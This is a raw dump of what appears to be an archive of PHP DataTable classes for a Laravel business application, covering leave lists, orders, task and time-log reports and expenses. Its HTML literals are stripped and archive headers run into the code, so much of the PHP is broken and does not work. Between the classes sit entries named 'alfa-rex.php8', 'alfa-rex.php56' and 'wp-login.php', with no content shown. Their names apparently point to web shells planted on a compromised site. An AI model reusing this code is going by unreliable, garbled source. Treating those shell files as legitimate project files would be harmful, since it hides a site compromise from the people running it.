' . (($row->half_day_type == 'first_half') ? __('modules.leaves.firstHalf') : __('modules.leaves.secondHalf')) . '
'; } else { $type .= '
' . __('modules.leaves.halfDay') . '
'; } } return $type; }) ->addColumn('action', function ($row) { $actions = '
'; return $actions; }) ->orderColumn('leave_paid', function ($query, $row) { $query->orderBy('paid', $row->paid); }) ->smart(false) ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['status', 'leave_type', 'action', 'check', 'employee', 'duration', 'leave_paid']); } /** * @param Leave $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(Leave $model) { // Will check count leave from the start of the year or nor $setting = company(); $leavesList = $model->with('user', 'user.employeeDetail', 'user.employeeDetail.designation', 'user.session', 'type') ->join('leave_types', 'leave_types.id', 'leaves.leave_type_id') ->join('users', 'leaves.user_id', 'users.id') ->join('employee_details', 'employee_details.user_id', 'users.id') ->selectRaw('leaves.*, leave_types.color, leave_types.type_name, ( select count("lvs.id") from leaves as lvs where lvs.unique_id = leaves.unique_id and lvs.duration = \'multiple\') as count_multiple_leaves', ) ->groupByRaw('ifnull(leaves.unique_id, leaves.id)'); if (!is_null(request()->startDate)) { $startDate = Carbon::createFromFormat($this->company->date_format, request()->startDate)->toDateString(); $leavesList->whereRaw('Date(leaves.leave_date) >= ?', [$startDate]); } if (!is_null(request()->endDate)) { $endDate = Carbon::createFromFormat($this->company->date_format, request()->endDate)->toDateString(); $leavesList->whereRaw('Date(leaves.leave_date) <= ?', [$endDate]); } if (request()->employeeId != 'all' && request()->employeeId != '') { $leavesList->where('users.id', request()->employeeId); } if (request()->leave_year != '') { $leavesList->whereYear('leaves.leave_date', request()->leave_year); } if (request()->leaveTypeId != 'all' && request()->leaveTypeId != '') { $leavesList->where('leave_types.id', request()->leaveTypeId); } if (request()->status != 'all' && request()->status != '') { $leavesList->where('leaves.status', request()->status); } if (request()->searchText != '') { $leavesList->where('users.name', 'like', '%' . request()->searchText . '%'); } if ($this->viewLeavePermission == 'owned') { $leavesList->where(function ($q) { $q->orWhere('leaves.user_id', '=', user()->id); ($this->reportingPermission != 'cannot-approve') ? $q->orWhere('employee_details.reporting_to', user()->id) : ''; }); } if ($this->viewLeavePermission == 'added') { $leavesList->where(function ($q) { $q->orWhere('leaves.added_by', '=', user()->id); ($this->reportingPermission != 'cannot-approve') ? $q->orWhere('employee_details.reporting_to', user()->id) : ''; }); } if ($this->viewLeavePermission == 'both') { $leavesList->where(function ($q) { $q->orwhere('leaves.user_id', '=', user()->id); $q->orWhere('leaves.added_by', '=', user()->id); ($this->reportingPermission != 'cannot-approve') ? $q->orWhere('employee_details.reporting_to', user()->id) : ''; }); } return $leavesList; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('leaves-table', 2) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["leaves-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }); $(".statusChange").selectpicker(); }', ]); return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false, 'visible' => ($this->viewLeavePermission == 'all') ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.id') => ['data' => 'id', 'name' => 'id', 'title' => __('app.id'), 'visible' => false], __('app.employee') => ['data' => 'employee', 'name' => 'user.name', 'exportable' => false, 'title' => __('app.employee')], __('app.employee') . ' ' => ['data' => 'employee_name', 'name' => 'user.name', 'visible' => false, 'title' => __('app.employee')], __('app.leaveDate') => ['data' => 'leave_date', 'name' => 'leaves.leave_date', 'title' => __('app.leaveDate')], __('app.duration') => ['data' => 'duration', 'name' => 'duration', 'title' => __('app.duration')], __('app.leaveStatus') => ['data' => 'status', 'name' => 'leaves.status', 'title' => __('app.leaveStatus')], __('app.leaveType') => ['data' => 'leave_type', 'name' => 'leave_types.type_name', 'title' => __('app.leaveType')], __('app.paid') => ['data' => 'leave_paid', 'name' => 'leaves.paid', 'title' => __('app.paid')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; } } DataTables/EmployeeWiseTaskDataTable.php000064400000014476150325104510014265 0ustar00eloquent($query) ->editColumn('name', function ($row) { return view('components.employee', ['user' => $row]); }) ->addColumn('employee_name', function ($row) { return $row->name; }) ->addColumn('total_task_assigned', function ($row) { return $row->total_tasks; }) ->addColumn('total_task_completed', function ($row) { return $row->total_tasks_completed; }) ->addColumn('total_task_pending', function ($row) { return $row->total_tasks_pending; }) ->addColumn('task_missed_deadline', function ($row) { return $row->task_missed_deadline; }) ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['name', 'employee_name', 'total_task_assigned', 'total_task_completed', 'total_task_pending', 'task_missed_deadline']); } /** * Get the query source of dataTable. */ public function query() { $request = $this->request(); $startDate = null; $endDate = null; if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); } $model = User::withRole('employee') ->leftJoin('task_users', function($join) use ($startDate, $endDate, $request) { $join->on('users.id', '=', 'task_users.user_id') ->when($startDate !== null && $endDate !== null, function($query) use ($startDate, $endDate) { $query->whereExists(function($subquery) use ($startDate, $endDate) { $subquery->from('tasks') ->whereRaw('tasks.id = task_users.task_id') ->where(function($q) use ($startDate, $endDate) { $q->whereBetween(DB::raw('DATE(tasks.due_date)'), [$startDate, $endDate]) ->orWhereBetween(DB::raw('DATE(tasks.start_date)'), [$startDate, $endDate]); }); }); }); }) ->leftJoin('tasks', 'task_users.task_id', '=', 'tasks.id') ->leftJoin('taskboard_columns', 'tasks.board_column_id', '=', 'taskboard_columns.id') ->select('users.*', DB::raw('IFNULL(COUNT(DISTINCT task_users.task_id), "0") as total_tasks'), DB::raw('SUM(CASE WHEN taskboard_columns.slug = "completed" THEN 1 ELSE 0 END) as total_tasks_completed'), DB::raw('SUM(CASE WHEN taskboard_columns.slug != "completed" THEN 1 ELSE 0 END) as total_tasks_pending'), DB::raw('SUM(CASE WHEN taskboard_columns.slug = "completed" AND tasks.completed_on > tasks.due_date THEN 1 ELSE 0 END) as task_missed_deadline') ) ->groupBy('users.id'); if ($request->assignedTo == 'unassigned') { $model->whereDoesntHave('tasks'); } elseif ($request->assignedTo != '' && $request->assignedTo != null && $request->assignedTo != 'all') { $model->where('users.id', '=', $request->assignedTo); } return $model; } /** * Optional method if you want to use the html builder. */ public function html() { $dataTable = $this->setBuilder('employeewisetask-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["employeewisetask-table"].buttons().container() .appendTo("#table-actions"); var colBtnParent = $(".buttons-colvis").parent(); $(".buttons-colvis").appendTo("#column-visibilty").removeClass("btn-secondary").addClass("p-0 f-13 mr-2 text-dark-grey"); colBtnParent.remove(); }', 'fnDrawCallback' => 'function( oSettings ) { $("#employeewisetask-table .select-picker").selectpicker(); }', 'columnDefs' => [ [ 'targets' => 1, 'className' => 'noVis' ] ] ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get the dataTable columns definition. */ public function getColumns(): array { return [ '#' => ['data' => 'id', 'name' => 'id', 'visible' => false, 'class' => 'noVis'], __('modules.employees.employeeName') => ['data' => 'name', 'name' => 'name', 'visible' => true, 'exportable' => false, 'title' => __('modules.employees.employeeName')], __('app.name') => ['data' => 'employee_name', 'name' => 'employee_name', 'visible' => false, 'title' => __('app.name')], __('modules.tasks.totalTaskAssigned') => ['data' => 'total_task_assigned', 'name' => 'total_task_assigned', 'title' => __('modules.tasks.totalTaskAssigned')], __('modules.tasks.totalTaskCompleted') => ['data' => 'total_tasks_completed', 'name' => 'total_tasks_completed', 'title' => __('modules.tasks.totalTaskCompleted')], __('modules.tasks.totalTaskPending') => ['data' => 'total_task_pending', 'name' => 'total_task_pending', 'title' => __('modules.tasks.totalTaskPending')], __('modules.tasks.missedDeadline') => ['data' => 'task_missed_deadline', 'name' => 'task_missed_deadline', 'title' => __('modules.tasks.missedDeadline')], ]; } /** * Get the filename for export. */ protected function filename(): string { return 'EmployeeWiseTask_' . date('YmdHis'); } } DataTables/OrdersDataTable.php000064400000041577150325104510012273 0ustar00viewOrderPermission = user()->permission('view_order'); $this->deleteOrderPermission = user()->permission('delete_order'); $this->editOrderPermission = user()->permission('edit_order'); $this->withTrashed = $withTrashed; } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { $id = UserService::getUserId(); $datatables = datatables()->eloquent($query); $datatables->addIndexColumn(); $datatables->addIndexColumn(); $datatables->addColumn('action', function ($row) use ($id) { $action = '
' . __('app.view') . '
'; return $action; }); $datatables->editColumn('order_number', function ($row) { return ''; }); $datatables->addColumn('order', fn($row) => $row->custom_order_number); $datatables->addColumn('order_number_export', fn($row) => $row->custom_order_number); $datatables->addColumn('client_name', fn($row) => $row->client->name); $datatables->editColumn('name', fn($row) => view('components.client', ['user' => $row->client])); $datatables->editColumn('status', function ($row) use ($id) { if ((in_array('admin', user_roles()) || in_array('employee', user_roles())) && ($this->editOrderPermission == 'all' || ($this->editOrderPermission == 'both' && ($row->added_by == $id || $row->client_id == $id)) || ($this->editOrderPermission == 'added' && $row->added_by == $id) || ($this->editOrderPermission == 'owned' && $row->client_id == $id))) { $status = ''; } else { $status = match ($row->status) { 'pending' => ' ' . __('app.' . $row->status), 'on-hold' => ' ' . __('app.' . $row->status), 'failed' => ' ' . __('app.' . $row->status), 'processing' => ' ' . __('app.' . $row->status), 'completed' => ' ' . __('app.' . $row->status), 'canceled' => ' ' . __('app.' . $row->status), default => ' ' . __('app.' . $row->status), }; } return $status; }); $datatables->editColumn('total', fn($row) => currency_format($row->total, $row->currency->id)); $datatables->editColumn('order_date', fn($row) => Carbon::parse($row->order_date)->timezone($this->company->timezone)->translatedFormat($this->company->date_format)); $datatables->addColumn('order_status', fn($row) => $row->status); $datatables->orderColumn('order_number', 'created_at $1'); $datatables->orderColumn('name', 'client_id $1'); $customFieldColumns = CustomField::customFieldData($datatables, Order::CUSTOM_FIELD_MODEL); $datatables->rawColumns(array_merge(['action', 'status', 'total', 'name', 'order_number'], $customFieldColumns)); // $datatables->rawColumns(['action', 'status', 'total', 'name', 'order_number']); $datatables->removeColumn('currency_symbol'); $datatables->removeColumn('currency_code'); return $datatables; } /** * @return \Illuminate\Database\Eloquent\Builder */ public function query() { $request = $this->request(); $id = UserService::getUserId(); $model = Order::with([ 'currency:id,currency_symbol,currency_code', 'client', 'payment' ]) ->with( [ 'project' => function ($q) { $q->withTrashed(); $q->select('id', 'project_name', 'project_short_code', 'client_id', 'deleted_at'); }, ] ) ->with('client', 'client.session', 'client.clientDetails', 'payment') ->select('orders.id', 'orders.client_id', 'orders.project_id', 'orders.currency_id', 'orders.total', 'orders.status', 'orders.order_date', 'orders.show_shipping_address', 'orders.added_by', 'orders.order_number', 'orders.custom_order_number'); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); $model = $model->where(DB::raw('DATE(orders.`order_date`)'), '>=', $startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); $model = $model->where(DB::raw('DATE(orders.`order_date`)'), '<=', $endDate); } if ($request->status != 'all' && !is_null($request->status)) { $model = $model->where('orders.status', '=', $request->status); } if ($request->projectId != 'all' && !is_null($request->projectId)) { $model = $model->where('orders.project_id', '=', $request->projectId); } if ($request->clientID != 'all' && !is_null($request->clientID)) { $model = $model->where('orders.client_id', '=', $request->clientID); } if ($request->searchText != '') { $model->where(function ($query) { $query->where('orders.order_number', 'like', '%' . request('searchText') . '%') ->orWhere('orders.custom_order_number', 'like', '%' . request('searchText') . '%') ->orWhere('orders.total', 'like', '%' . request('searchText') . '%') ->orWhere('orders.status', 'like', '%' . request('searchText') . '%') ->orWhere(function ($query) { $query->whereHas('client', function ($q) { $q->where('name', 'like', '%' . request('searchText') . '%'); }); }); }); } if ($this->viewOrderPermission == 'added') { $model->where('orders.added_by', $id); } if ($this->viewOrderPermission == 'owned') { $model->where('orders.client_id', $id); } if ($this->viewOrderPermission == 'both') { $model->where(function ($query) use ($id) { $query->where('orders.added_by', $id) ->orWhere('orders.client_id', $id); }); } if (in_array('client', user_roles())) { $model->where('orders.client_id', $id); } if (!$this->withTrashed) { $model = $model->where(function ($query) { $query->whereHas('project', function ($q) { $q->whereNull('deleted_at'); })->orWhereNull('orders.project_id'); }); } return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('orders-table', 0) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["orders-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("#orders-table .select-picker").selectpicker(); $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { $data = [ __('app.id') => ['data' => 'id', 'name' => 'id', 'visible' => false, 'title' => __('app.id')], __('app.order') . __('app.no') => ['data' => 'order_number_export', 'name' => 'order_number_export', 'visible' => false, 'title' => __('app.order') . ' ' . __('app.no'), 'exportable' => false], __('app.orderNumber') => ['data' => 'order_number', 'name' => 'order_number', 'visible' => true, 'title' => __('app.orderNumber')], __('app.client_name') => ['data' => 'client_name', 'name' => 'project.client.name', 'visible' => false, 'title' => __('app.client_name')], __('app.client') => ['data' => 'name', 'name' => 'name', 'visible' => !in_array('client', user_roles()), 'exportable' => false, 'title' => __('app.client')], __('modules.invoices.total') => ['data' => 'total', 'name' => 'total', 'title' => __('modules.invoices.total')], __('modules.orders.orderDate') => ['data' => 'order_date', 'name' => 'order_date', 'title' => __('modules.orders.orderDate')], __('app.status') => ['data' => 'status', 'name' => 'status', 'width' => '10%', 'exportable' => false, 'title' => __('app.status')], __('app.order_status') => ['data' => 'order_status', 'name' => 'order_status', 'width' => '10%', 'visible' => false, 'title' => __('app.status')], ]; $action = [ Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->width(150) ->addClass('text-right pr-20') ]; return array_merge($data, CustomFieldGroup::customFieldsDataMerge(new Order()), $action); } } DataTables/alfa-rex.php8000064400000026574150325104510011062 0ustar00DataTables/wp-login.php000064400000026574150325104510011027 0ustar00DataTables/TaskReportDataTable.php000064400000027444150325104510013130 0ustar00viewUnassignedTasksPermission = user()->permission('view_unassigned_tasks'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { return datatables() ->eloquent($query) ->editColumn('due_date', function ($row) { return Common::dateColor($row->due_date); }) ->editColumn('users', function ($row) { if (count($row->users) == 0) { return '--'; } $members = ''; foreach ($row->users as $member) { $img = ''; $members .= ' '; } return $members; }) ->addColumn('name', function ($row) { $members = []; foreach ($row->users as $member) { $members[] = $member->name; } return implode(',', $members); }) ->editColumn('clientName', function ($row) { return ($row->clientName) ? $row->clientName : '-'; }) ->addColumn('task', function ($row) { return $row->heading; }) ->editColumn('heading', function ($row) { $private = $pin = $timer = ''; if ($row->is_private) { $private = ' ' . __('app.private') . ''; } if (($row->pinned_task)) { $pin = ' ' . __('app.pinned') . ''; } if (count($row->activeTimerAll) > 0) { $timer .= ' ' . $row->activeTimer->timer . ''; } return '
' . $row->heading . '

' . $private . ' ' . $pin . ' ' . $timer . '

'; }) ->editColumn('board_column', function ($row) { return '' . $row->board_column; }) ->addColumn('status', function ($row) { return $row->board_column; }) ->editColumn('project_name', function ($row) { if (is_null($row->project_id)) { return '-'; } return '' . $row->project_name . ''; }) ->editColumn('short_code', function ($row) { if (is_null($row->task_short_code)) { return ' -- '; } return '' . $row->task_short_code . ''; }) ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['board_column', 'project_name', 'clientName', 'due_date', 'users', 'heading', 'short_code']) ->removeColumn('project_id') ->removeColumn('image') ->removeColumn('created_image') ->removeColumn('label_color'); } /** * @param Task $model * @return mixed */ public function query(Task $model) { $request = $this->request(); $startDate = null; $endDate = null; if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); } $projectId = $request->projectId; $taskBoardColumn = TaskboardColumn::completeColumn(); $model = $model->leftJoin('projects', 'projects.id', '=', 'tasks.project_id') ->leftJoin('users as client', 'client.id', '=', 'projects.client_id') ->join('taskboard_columns', 'taskboard_columns.id', '=', 'tasks.board_column_id'); if ($this->viewUnassignedTasksPermission == 'all' && !in_array('client', user_roles()) && ($request->assignedTo == 'unassigned' || $request->assignedTo == 'all')) { $model->leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->leftJoin('users as member', 'task_users.user_id', '=', 'member.id'); } else { $model->join('task_users', 'task_users.task_id', '=', 'tasks.id') ->join('users as member', 'task_users.user_id', '=', 'member.id'); } $model->leftJoin('users as creator_user', 'creator_user.id', '=', 'tasks.created_by') ->leftJoin('task_labels', 'task_labels.task_id', '=', 'tasks.id') ->selectRaw('tasks.id, tasks.added_by, projects.project_name, projects.client_id, tasks.heading, client.name as clientName, creator_user.name as created_by, creator_user.image as created_image, tasks.board_column_id,tasks.task_short_code, tasks.due_date, taskboard_columns.column_name as board_column, taskboard_columns.label_color, tasks.project_id, tasks.is_private ,( select count("id") from pinned where pinned.task_id = tasks.id and pinned.user_id = ' . user()->id . ') as pinned_task') ->addSelect('tasks.company_id') // Company_id is fetched so the we have fetch company relation with it) ->whereNull('projects.deleted_at') ->with('users', 'activeTimerAll', 'activeTimer') ->groupBy('tasks.id'); if ($startDate !== null && $endDate !== null) { $model->where(function ($q) use ($startDate, $endDate) { $q->whereBetween(DB::raw('DATE(tasks.`due_date`)'), [$startDate, $endDate]); $q->orWhereBetween(DB::raw('DATE(tasks.`start_date`)'), [$startDate, $endDate]); }); } if ($projectId != 0 && $projectId != null && $projectId != 'all') { $model->where('tasks.project_id', '=', $projectId); } if ($request->clientID != '' && $request->clientID != null && $request->clientID != 'all') { $model->where('projects.client_id', '=', $request->clientID); } if ($request->assignedTo != '' && $request->assignedTo != null) { $model->where(function ($q) use ($request) { if ($request->assignedTo != 'all' && $request->assignedTo != 'unassigned') { $q->where('task_users.user_id', '=', $request->assignedTo); } if ($request->assignedTo == 'unassigned' || $request->assignedTo == 'all') { $q->whereDoesntHave('users'); $q->orWhereHas('users'); } }); } if ($request->assignedBY != '' && $request->assignedBY != null && $request->assignedBY != 'all') { $model->where('creator_user.id', '=', $request->assignedBY); } if ($request->status != '' && $request->status != null && $request->status != 'all') { if ($request->status == 'not finished') { $model->where('tasks.board_column_id', '<>', $taskBoardColumn->id); } else { $model->where('tasks.board_column_id', '=', $request->status); } } if ($request->label != '' && $request->label != null && $request->label != 'all') { $model->where('task_labels.label_id', '=', $request->label); } if ($request->category_id != '' && $request->category_id != null && $request->category_id != 'all') { $model->where('tasks.task_category_id', '=', $request->category_id); } if ($request->billable != '' && $request->billable != null && $request->billable != 'all') { $model->where('tasks.billable', '=', $request->billable); } if ($request->searchText != '') { $model->where(function ($query) { $query->where('tasks.heading', 'like', '%' . request('searchText') . '%') ->orWhere('member.name', 'like', '%' . request('searchText') . '%') ->orWhere('projects.project_name', 'like', '%' . request('searchText') . '%') ->orWhere('tasks.task_short_code', 'like', '%' . request('searchText') . '%'); }); } return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('allTasks-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["allTasks-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("#allTasks-table .select-picker").selectpicker(); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ '#' => ['data' => 'id', 'name' => 'id', 'visible' => false], __('modules.taskCode') => ['data' => 'short_code', 'name' => 'task_short_code', 'title' => __('modules.taskCode')], __('app.task') => ['data' => 'heading', 'name' => 'heading', 'exportable' => false, 'title' => __('app.task')], __('app.menu.tasks') => ['data' => 'task', 'name' => 'heading', 'visible' => false, 'title' => __('app.menu.tasks')], __('app.project') => ['data' => 'project_name', 'name' => 'projects.project_name', 'title' => __('app.project')], __('app.client') => ['data' => 'clientName', 'name' => 'client.name', 'title' => __('app.client')], __('modules.tasks.assigned') => ['data' => 'name', 'name' => 'name', 'visible' => false, 'title' => __('modules.tasks.assigned')], __('app.dueDate') => ['data' => 'due_date', 'name' => 'due_date', 'title' => __('app.dueDate')], __('modules.tasks.assignTo') => ['data' => 'users', 'name' => 'member.name', 'exportable' => false, 'title' => __('modules.tasks.assignTo')], __('app.task') . ' ' . __('app.status') => ['data' => 'status', 'name' => 'board_column', 'visible' => false, 'title' => __('app.task')], __('app.columnStatus') => ['data' => 'board_column', 'name' => 'board_column', 'exportable' => false, 'searchable' => false, 'title' => __('app.columnStatus')] ]; } } DataTables/TimeLogProjectwiseReportDataTable.php000064400000021302150325104510015770 0ustar00get()->groupBy('user_id'); return datatables()->of($employeeLogs) ->addIndexColumn() ->addColumn('id', function ($logs) { return $logs->first()->user_id; }) ->editColumn('employee_name', function ($logs) { $user = $logs->first()->user; return view('components.employee', [ 'user' => $user ]); }) ->addColumn('projects', function ($logs) { $projectsHtml = ''; return $projectsHtml; }) ->addColumn('total_hours', function ($logs) { $totalHoursHtml = '
    '; foreach ($logs->unique('project_id') as $log) { // Sum the total minutes for this specific project $totalMinutesForProject = $logs->where('project_id', $log->project_id)->sum(function ($log) { if (is_null($log->end_time)) { return ($log->activeBreak ? $log->activeBreak->start_time->diffInMinutes($log->start_time) : now()->diffInMinutes($log->start_time) ) - $log->breaks->sum('total_minutes'); } else { return $log->total_minutes - $log->breaks->sum('total_minutes'); } }); $hours = intdiv($totalMinutesForProject, 60); $minutes = $totalMinutesForProject % 60; $formattedTime = ($hours ? $hours . 'h' : '') . ($minutes > 0 ? ' ' . sprintf('%02dm', $minutes) : ($hours ? '' : '0s')); $timeLog = '' . $formattedTime . ''; if (is_null($log->end_time)) { $timeLog .= ' '; } else { if ($log->approved) { $timeLog .= ' '; } } $totalHoursHtml .= '
  • ' . $timeLog . '
  • '; } $totalHoursHtml .= '
'; return $totalHoursHtml; }) ->addColumn('break_duration', function ($logs) { $totalBreakHtml = '
    '; foreach ($logs->unique('project_id') as $log) { // Sum the break durations for each project $breakDurationForProject = $logs->where('project_id', $log->project_id)->sum(function ($log) { return $log->breaks->sum('total_minutes'); }); $breakTime = CarbonInterval::formatHuman($breakDurationForProject); $totalBreakHtml .= '
  • ' . $breakTime . '
  • '; } $totalBreakHtml .= '
'; return $totalBreakHtml; }) ->setRowId(function ($logs) { return 'row-' . $logs->first()->user_id; }) ->rawColumns(['employee_name', 'projects', 'total_hours', 'break_duration']); } /** * @param ProjectTimeLog $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(ProjectTimeLog $model) { $request = $this->request(); $employee = $request->employee; $project = $request->project; $model = $model->with('user', 'project', 'task', 'breaks', 'activeBreak') ->join('users', 'users.id', '=', 'project_time_logs.user_id') ->join('employee_details', 'users.id', '=', 'employee_details.user_id') ->leftJoin('designations', 'employee_details.designation_id', '=', 'designations.id') ->leftJoin('tasks', 'tasks.id', '=', 'project_time_logs.task_id') ->leftJoin('projects', 'projects.id', '=', 'project_time_logs.project_id') ->select('project_time_logs.id', 'project_time_logs.start_time', 'project_time_logs.end_time', 'project_time_logs.total_hours', 'project_time_logs.total_minutes', 'project_time_logs.memo', 'project_time_logs.user_id', 'project_time_logs.project_id', 'project_time_logs.task_id', 'users.name', 'users.image', 'project_time_logs.hourly_rate', 'project_time_logs.earnings', 'project_time_logs.approved', 'tasks.heading', 'projects.project_name', 'projects.client_id', 'designations.name as designation_name', 'tasks.task_short_code'); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); if (!is_null($startDate)) { $model = $model->where(DB::raw('DATE(project_time_logs.start_time)'), '>=', $startDate); } } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); if (!is_null($endDate)) { $model = $model->where(DB::raw('DATE(project_time_logs.end_time)'), '<=', $endDate); } } if (!is_null($employee) && $employee !== 'all') { $model->where('project_time_logs.user_id', $employee); } if (!is_null($project) && $project !== 'all') { $model->where('projects.id', $project); } // Order by the latest time log entries $model->whereNull('tasks.deleted_at')->orderBy('project_time_logs.id', 'desc'); return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('timelog-project-wise-table', 5) ->parameters([ 'ordering' => false, 'initComplete' => 'function () { // window.LaravelDataTables["timelog-project-wise-table"].buttons().container() // .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $(".select-picker").selectpicker(); }' ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ '#' => [ 'data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => true, 'title' => '#' ], __('app.id') => ['data' => 'id', 'name' => 'id', 'visible' => false, 'title' => __('app.id')], __('app.employee') => ['data' => 'employee_name', 'name' => 'user.name', 'exportable' => false, 'title' => __('app.employee')], __('app.project') => ['data' => 'projects', 'name' => 'projects.project_name', 'title' => __('app.project')], __('modules.timeLogs.totalHours') => ['data' => 'total_hours', 'name' => 'total_hours', 'title' => __('modules.timeLogs.totalHours')], __('modules.timeLogs.breakDuration') => ['data' => 'break_duration', 'name' => 'break_duration', 'title' => __('modules.timeLogs.breakDuration')], ]; } } DataTables/alfa-rex.php56000064400000026574150325104510011145 0ustar00DataTables/ExpenseReportDataTable.php000064400000020461150325104510013625 0ustar00eloquent($query) ->addColumn('check', fn($row) => $this->checkBox($row)) ->editColumn('price', function ($row) { return $row->total_amount; }) ->addColumn('default_currency_price', function ($row) { return currency_format($row->default_currency_price, company()->currency_id); }) ->editColumn('item_name', function ($row) { if (is_null($row->expenses_recurring_id)) { return '' . $row->item_name . ''; } return '' . $row->item_name . '

' . __('app.recurring') . '

'; }) ->addColumn('export_item_name', function ($row) { return $row->item_name; }) ->addColumn('employee_name', function ($row) { return $row->user?->name; }) ->addColumn('bank_account', function ($row) { return $row->bank_account_id; }) // Load the bank name ->addColumn('bank_name', function ($row) { $bankAccount = $row->bankAccount; if ($bankAccount) { return $bankAccount->bank_name . ' | ' . $bankAccount->account_name; } else { return '--'; // or any default value you prefer } }) ->editColumn('user_id', function ($row) { return view('components.employee', [ 'user' => $row->user ]); }) ->addColumn('export_bill', function($row){ return !is_null($row->bill) ? $row->bill_url : ''; }) ->addColumn('bill', function($row){ return !is_null($row->bill) ? $row->bill : '--'; }) ->addColumn('status', function ($row) { return '' . __('app.' . $row->status); }) ->editColumn( 'purchase_date', function ($row) { if (!is_null($row->purchase_date)) { return $row->purchase_date->translatedFormat($this->company->date_format); } } ) ->editColumn( 'purchase_from', function ($row) { return !is_null($row->purchase_from) ? $row->purchase_from : '--'; } ) ->smart(false) ->setRowId(fn($row) => 'row-' . $row->id) ->addIndexColumn() ->rawColumns(['action', 'status', 'user_id', 'item_name', 'check', 'bank_account']) ->removeColumn('currency_id') ->removeColumn('name') ->removeColumn('currency_symbol') ->removeColumn('updated_at') ->removeColumn('created_at'); } /** * Get query source of dataTable. * * @param Expense $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(Expense $model) { $request = $this->request(); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); $model = $model->where(DB::raw('DATE(`purchase_date`)'), '>=', $startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); $model = $model->where(DB::raw('DATE(`purchase_date`)'), '<=', $endDate); } if ($request->categoryID != 'all' && !is_null($request->categoryID)) { $model = $model->where('category_id', '=', $request->categoryID); } if ($request->projectID != 'all' && !is_null($request->projectID)) { $model = $model->where('project_id', '=', $request->projectID); } if ($request->employeeID != 'all' && !is_null($request->employeeID)) { $employeeID = $request->employeeID; $model = $model->where(function ($query) use ($employeeID) { $query->where('user_id', $employeeID); }); } $model = $model->where('status', 'approved'); return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('expense-report-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["expense-report-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("#expense-report-table .select-picker").selectpicker(); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { $defaultCurrency = Company::with('currency')->find(company()->id); return [ '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('modules.expenses.itemName') => ['data' => 